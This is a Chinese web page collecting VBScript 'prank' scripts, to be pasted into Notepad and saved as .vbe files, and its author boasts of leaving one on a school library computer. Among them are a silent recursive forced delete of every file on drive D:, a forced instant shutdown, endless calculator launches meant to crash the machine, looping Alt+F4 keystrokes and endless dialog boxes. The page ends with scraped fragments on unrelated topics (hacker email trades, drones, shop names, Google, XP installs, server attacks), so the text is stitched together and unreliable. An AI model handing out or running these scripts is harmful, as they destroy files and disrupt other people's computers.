vbs整人代码有哪些(vbs整人代码大 *** 整理)
vbs整人代码大 *** ,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 :
一、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
二、打开无数个计算器,直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
----------------------------------------------------------------------------
三、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
---------------------------------------------------------------------------
四、删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
五、不断弹出窗口
while(1)
msgbox "哈哈 你被百思特网耍了!"
loop
----------------------------------------------------------------------------
六、不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}" loop
---------------------------------------------------------------------------
七、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
---------------------------------------------------------------------------
八、关不掉的窗口
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Ech百思特网o("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下") WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下") WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下") WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下") WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下") WScript.Echo("还剩27下"百思特网;)
WScript.Echo("还剩26下")
WScript.Echo("还剩25下") WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下") WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下") WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下") WScript.Echo("还剩15下")
WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?")
WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
-----------------------------------------------------------------
注:所有的标点都要用英文的状态输入。
一、黑客 邮件 交易请求(黑客 请求一次交易)方法总结 1、一个黑客弄来了一条一个组织很想要的信息,双方要怎么进。找一个双方都能信任的人或者机构. 2、与外企通过互联网进行贸易,邮件被黑客篡改导致...
/// <param name="connection"></param>下面来看看信号掩盖的问题怎么处理。 有个要害的条件是遥控器只发数据,无人机只收数据,它们之间没有交互。...
有档次两个字跷脚牛肉店铺取名一个字跷脚牛肉店铺名字大全 晚娘跷脚牛肉旗舰店铺 娼、罚、逆 学时跷脚牛肉特价店铺 就、舱、睛 切口跷脚牛肉官方店铺 孩、疵、箧 松紧跷脚牛肉...
中国北京时间7月2日信息,据海外新闻媒体,在美国联邦贸易委员会刚开始对其业务流程进行调研后,Google聘用了12家劝谏企业。 Google在一份电子邮箱中表明,该企业聘用的12家劝谏企...
xp系统软件是微软公司公布的一款十分經典电脑操作系统,凭着实际操作简易、兼容模式强等特点有着诸多的粉絲。那麼大家怎么使用U盘重新安装XP系统软件呢?今日,我也给大伙儿介绍一下U盘装XP系统软件的简易方...
本文目录一览: 1、黑客攻击主要有哪些手段? 2、黑客是怎么入侵攻击服务器的 3、黑客是怎样攻击服务器的 4、通俗解释一下“什么叫服务器被黑客攻击”?? 黑客攻击主要有哪些手段? 黑客攻...